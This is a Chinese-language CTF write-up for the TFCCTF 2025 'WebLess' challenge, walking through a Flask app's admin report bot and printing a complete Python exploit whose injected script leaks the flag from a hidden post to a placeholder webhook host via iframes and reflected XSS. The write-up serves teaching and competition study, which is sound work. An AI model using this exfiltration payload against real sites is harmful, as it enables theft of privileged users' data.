TFCCTF 2025 WebLess题解

一、题目描述

用户注册登录后,可以创建 Post ,创建好之后可以浏览,也可以通过点击 Report to Admin 触发机器人访问该Post

flag被管理员写在了Post中,只有管理员或者机器人可通过 /post/0 访问

python 复制代码
ADMIN_USERNAME = secrets.token_hex(32)
ADMIN_PASSWORD = secrets.token_hex(32)

users = {ADMIN_USERNAME: ADMIN_PASSWORD}
posts = [{
    "id": 0,
    "author": ADMIN_USERNAME,
    "title": "FLAG",
    "description": FLAG,
    "hidden": True
}]

目标是让机器人访问存放flag的页面: post/0 ,然后再想办法获取flag

二、题目分析

用户登录之后,可以创建Post

python 复制代码
@app.route("/create_post", methods=["POST"])
@login_required
def create_post():
    title = request.form["title"]
    description = request.form["description"]   # 获取用户输入的 description
    hidden = request.form.get("hidden") == "on"  # Checkbox in form for hidden posts
    post_id = len(posts)
    posts.append({   // 将用户的该post条目加入posts
        "id": post_id,
        "author": session["username"],   # author是session[username]
        "title": title,
        "description": description,
        "hidden": hidden
    })
    return redirect(url_for("index"))

用户可以访问自己创建的笔记

python 复制代码
@app.route("/post/<int:post_id>")
@login_required
def post_page(post_id):
    # 判断访问的id是否存在
    post = next((p for p in posts if p["id"] == post_id), None)
    if not post:
        return "Post not found", 404
    # 判断用户是否设置可见 且 判断用户是否为作者
    if post.get("hidden") and post["author"] != session["username"]:
        return "Unauthorized", 403
    # 若id存在 且 用户为作者,将post(包含用户输入title和description)传入render_template函数
    resp = make_response(render_template("post.html", post=post))
    resp.headers["Content-Security-Policy"] = "script-src 'none'; style-src 'self'"
    return resp

用户访问 /report 页面时会触发机器人访问

python 复制代码
@app.route('/report', methods=['POST'])
def report():
    url = request.form.get('url')   # 获取data部分的url
    if not url:
        return 'Missing url', 400
    # 创建线程执行 run_admin_bot 函数
    Thread(target=_run_admin_bot, args=(url,), daemon=True).start()
    return 'Report queued', 202

def _run_admin_bot(target_url: str):
    try:
        # 将 url 作为参数传递给bot
        bot.run_report(target_url, ADMIN_USERNAME, ADMIN_PASSWORD)
        print("[BOT] Done")
    except Exception as e:
        print(f"[BOT] Error: {e}")

bot report操作实际是以管理员身份登录和访问待 reporturl

py 复制代码
def run_report(url, username, password):
    try:
        driver = webdriver.Chrome(service=service, options=options)
        # 1.以管理员身份登录
        driver.get(f"http://127.0.0.1:5000/login?username={username}&password={password}")
        # Wait until page is loaded (document.readyState == "complete")
        WebDriverWait(driver, 10).until(
            lambda d: d.execute_script("return document.readyState") == "complete"
        )

        # 2.访问 report page url
        driver.get(url)
        WebDriverWait(driver, 10).until(
            lambda d: d.execute_script("return window.reportReady === true")
        )
        print("Report page fully loaded")

结合 flag 存放在管理员的 post/0 中,突破点在触发机器人执行report,以管理员的身份登录之后去访问某个url,若该url包含恶意链接,使得机器人在访问时将其cookie或者之前访问 post/0 的内容带出来,即可获得flag

exp如下:

注:credentialless 的核心作用是:让 iframe 请求不带 cookie,适用于跨域信息泄露场景

python 复制代码
import requests

s = requests.Session()
URL = "https://webless-156e7e4ba10d8dc9.challs.tfcctf.com"

solution = """
<iframe src="/post/0"></iframe>
<iframe credentialless src="/login?username=<script>fetch(`https://WEBHOOOK/${btoa(top.window.frames[0].document.body.innerText.substr(20))}`)</script>&password=a"></iframe>
"""

s.post(URL+"/register", data={"username": "test", "password": "test"})
s.post(URL+"/create_post", data={"title": "LEAK", "description": solution, "hidden": "off"})
s.post(URL+"/report", data={"url": "http://127.0.0.1:5000/post/1"})

print("Check the webhook")

poyload的解释如下:

用户创建的post中包含solution,

当bot通过"http://127.0.0.1:5000/post/1" 访问时,返回的页面中包含solution;bot首先会访问 src="post/0" ,然后会访问 src="/login?username=<script>fetch(......)${btoa(top.window.frames[0].document.body.innerText.substr(20))}

在访问后者时会获取前一帧显示的内容的前20个字符,将通过base64编码后发送到https://WEBHOOOK,即将flag的值发送出来了

相关推荐
一心赚狗粮的宇叔2 分钟前
mongosDb 安装及Mongosshell常见命令
数据库·mongodb·oracle·nosql·web·全栈
零基础的修炼6 分钟前
Linux网络---网络层
运维·服务器·网络
遇见火星9 分钟前
Linux Screen 命令入门指南
linux·运维·服务器
计算机程序设计小李同学12 分钟前
幼儿园信息管理系统的设计与实现
前端·bootstrap·html·毕业设计
naruto_lnq14 分钟前
Python生成器(Generator)与Yield关键字:惰性求值之美
jvm·数据库·python
墨黎芜39 分钟前
SQL Server从入门到精通——C#与数据库
数据库·学习·信息可视化
爱学习的阿磊39 分钟前
持续集成/持续部署(CI/CD) for Python
jvm·数据库·python
一个响当当的名号40 分钟前
lectrue10 排序和聚合算法
数据库
雨季66640 分钟前
Flutter 三端应用实战:OpenHarmony “专注时光盒”——在碎片洪流中守护心流的数字容器
开发语言·前端·安全·flutter·交互